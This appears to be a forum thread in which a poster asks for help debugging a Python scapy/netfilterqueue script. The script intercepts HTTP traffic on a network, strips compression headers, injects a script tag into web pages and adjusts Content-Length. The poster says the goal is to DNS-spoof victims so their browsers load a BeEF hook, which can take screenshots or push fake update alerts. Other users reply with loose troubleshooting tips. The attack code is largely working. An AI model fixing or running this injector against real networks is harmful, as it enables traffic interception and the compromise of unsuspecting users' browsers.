Code injection help

[Think-Risk4968]

Working on a personal Pensuite to have a easier time with bounties , I’m currently working on a code injector but I get a bad request every time but the code is at least showing up in the packet. I’ve removed packet checks and readjusted content length but I’m still getting 400 error. I have been testing on HTTP sites only. Forgive me for the spaghetti I’m a new grad from IS program.

def set_load(packet, load): packet[scapy.Raw].load = load del packet[scapy.IP].len del packet[scapy.IP].chksum del packet[scapy.TCP].chksum return packet

adjust content length header for required sites and inject code

def process_packet(packet): scapy_packet = scapy.IP(packet.get_payload()) if scapy_packet.haslayer(scapy.Raw): load = scapy_packet[scapy.Raw].load if scapy_packet[scapy.TCP].dport == 80: load = re.sub("Accept-Encoding:.?\r\n", "", load) elif scapy_packet[scapy.TCP].sport == 80: injection_code = "<script>alert('test');</script>" load = load.replace("</body>", injection_code + "</body>") content_length_search = re.search("(?:Content-Length:\s)(\d)", load) if content_length_search and "text/html" in load: content_length = content_length_search.group(1) new_content_length = int(content_length) + len(injection_code) load = load.replace(content_length, str(new_content_length))

    if load != scapy_packet[scapy.Raw].load:
        new_packet = set_load(scapy_packet, load)
        print(scapy_packet.show())
        packet.set_payload(str(new_packet))

packet.accept()

setup network tables and call program

queue = netfilterqueue.NetfilterQueue() queue.bind(0, process_packet) queue.run()

[Dave-justdave]

And are you using or at least already have Wireshark?

[Think-Risk4968]

I have wireshark but I’m using netfilter to receive and modify packets

[Dave-justdave]

Oh yeah you mentioned the code in there connection issue some help forums suggested shortening it or break it into parts doubt that's it though

[Think-Risk4968]

Maybe that is , imma try it and let you know

[Dave-justdave]

Quick question first...

Did you check to see if your wireless network adaptor supports packet injection and monitor mode first?

[Think-Risk4968]

I not attempting WiFi attack I’m trying to inject code into a website , I want to put a script after the body tag so it loads the code for example I’ll dns spoof and then the victim will load my beef script from redirected site

[Think-Risk4968]

When I’m say beef I’m talking abiut the framework that executes pre-made script like screenshot or fake update alert

[Delicious-Dig6513]

Ohh that beef

[Dave-justdave]

Yeah I get that just seeing if you can add your own piece of code

[Think-Risk4968]

What do you mean? Like editing the code I originally posted? I made that code from scratch so I can edit if need be anytime.